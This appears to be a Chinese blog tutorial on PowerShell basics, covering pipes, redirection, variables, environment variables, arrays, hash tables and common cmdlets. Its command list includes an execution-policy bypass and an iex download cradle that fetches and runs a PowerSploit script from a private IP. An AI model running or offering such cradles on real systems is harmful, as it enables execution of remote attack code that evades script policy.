天天看點

windows powershell基礎

windows powershell基礎

目錄:

1.管道和重定向

2.指令執行

3.變量

4.數組和哈希表  #@()建立數組,使用","把每個值分隔開,@{}建立哈希表,用";"把每個值分隔開

5.常用指令

 get-help  檢視幫助

 get-command 查詢指令

 get-member  檢視對象的成員資訊

 get-verb  擷取所有動詞

 get-content 或者type  檢視内容

 $psversiontable   檢視powershell版本 

 ls env:    檢視所有環境變量 

 ls alias:  或者get-alias  檢視所有的别名 

 get-executionpolicy  檢視腳本執行政策

 set-executionpolicy bypass  設定可以執行腳本

 . ./test1.ps1   把test1.ps1加載到記憶體  注意兩個點之間有一個空格

 iex(New-Object Net.Webclient).DownloadString('http://10.10.10.132/PowerSploit-master/xx.ps1')    iex遠端下載下傳腳本執行    

 在字元串前面加"&",可以執行指令或者啟動程式 

      

Powershell 是運作在windows機器上實作系統和應用程式管理自動化的指令行腳本環境。你可以把它看成是指令行提示符cmd.exe的擴充

 powershell指令和參數不區分大小寫

1.1管道   #把上一條指令的輸出作為下一條指令的輸入

  

windows powershell基礎

注:通過ls擷取目前目錄的所有檔案資訊,然後通過sort-object 排序,預設升序

1.2重定向  #把指令的輸出儲存到檔案中,‘>’為覆寫,’>>’追加

windows powershell基礎

注:檢視内容可以通過type或者get-content檢視

2.Powershell 檢視可以執行的cmd指令(cmd /c help )

windows powershell基礎

3.1變量

在powershell中變量名均是以美元符”$”開始,剩餘字元可以是數字、字母、下劃線的任意字元,并且powershell變量名大小寫不敏感($a和$A 是同一個變量)

powershell一切皆對象,變量也是對象,通過$str(變量名) | get-member  檢視變量所擁有的屬性以及方法

windows powershell基礎

檢視正在使用的變量  ls variable: 
windows powershell基礎

3.2環境變量

Powershell把所有環境變量的記錄儲存在env: 虛拟驅動中,是以可以列出所有環境變量 。一旦查出環境變量的名字就可以使用$env:name 通路了。

windows powershell基礎

注:通過查找所有環境變量可以得到計算機名,目前所屬域的域名,使用者名等等

通過$env:屬性名通路  

windows powershell基礎

 4.1數組

  1.指令傳回數組   #當我們把一個指令的執行結果儲存到一個變量中,可能會認為變量存放的是純文字。

但是,事實上Powershell會把文本按每一行作為元素存為數組

 

windows powershell基礎

  2.建立數組:

  在Powershell中建立數組可以使用逗号,建立空數組使用@()

windows powershell基礎

  3.通路、添加數組:  #添加數組使用"+="

windows powershell基礎

4.2哈希表

  1.建立哈希表

   之前使用@()建立數組,現在使用@{}建立哈希表,用";"把每個值分隔開,使用哈希表的鍵通路對應的值

   

windows powershell基礎

  2.修改、增加、删除哈希表

windows powershell基礎

------------------------------------------------------------------------------------------------------------------

詳細請參考:powershell線上教程:https://www.pstips.net/powershell-online-tutorials